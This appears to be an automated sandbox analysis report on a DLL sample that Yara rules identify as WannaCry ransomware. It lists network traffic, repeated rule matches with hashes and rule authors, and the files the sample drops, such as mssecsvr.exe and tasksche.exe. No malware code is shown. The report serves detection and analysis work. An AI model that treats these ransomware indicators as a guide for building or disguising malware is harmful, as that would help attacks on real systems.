Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224552Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224553Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224554Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224555Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224556Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFHWD2&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224557Z HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.136.238:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.254:443 -> 192.168.2.7:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 173.222.108.192:443 -> 192.168.2.7:49871 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.72.205.209:443 -> 192.168.2.7:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.72:443 -> 192.168.2.7:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.72:443 -> 192.168.2.7:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.72.205.209:443 -> 192.168.2.7:50227 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50253 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.253.33.200:443 -> 192.168.2.7:50251 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.129.122:443 -> 192.168.2.7:50268 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.40.129.122:443 -> 192.168.2.7:50269 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50322 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50340 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:50490 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50535 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 80.67.82.211:443 -> 192.168.2.7:50756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:50859 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:51337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:51905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:52190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:52189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52347 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.238.103.94:443 -> 192.168.2.7:52564 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:52563 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:52619 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:52683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:52740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.125.122.176:443 -> 192.168.2.7:52979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:52987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:53004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:53106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.152.110.14:443 -> 192.168.2.7:53138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.182:443 -> 192.168.2.7:53305 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:53357 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.242.101.226:443 -> 192.168.2.7:53419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:54188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:54683 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:56075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.151:443 -> 192.168.2.7:56766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:59915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.199.120.85:443 -> 192.168.2.7:63887 version: TLS 1.2

Source: loaddll32.exe, 00000000.00000002.382070781.000000000125B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: vGJZ7R5D9P.dll, type: SAMPLE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000000.388267704.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.394764132.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.987312222.000000000042E000.00000004.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.383175276.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.384584584.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.381498781.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.383152912.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.378931797.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.385776057.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.392038753.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.380491276.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.385957982.000000000040F000.00000008.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 7112, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 7136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mssecsvr.exe PID: 6420, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\mssecsvr.exe, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: vGJZ7R5D9P.dll, type: SAMPLE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)

Source: vGJZ7R5D9P.dll

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL

Source: vGJZ7R5D9P.dll, type: SAMPLE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 8.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.2.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 6.0.mssecsvr.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: 4.0.mssecsvr.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
Source: C:\Windows\mssecsvr.exe, type: DROPPED	Matched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A

Source: C:\Windows\tasksche.exe

File deleted: C:\Windows\__tmp_rar_sfx_access_check_4615125

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

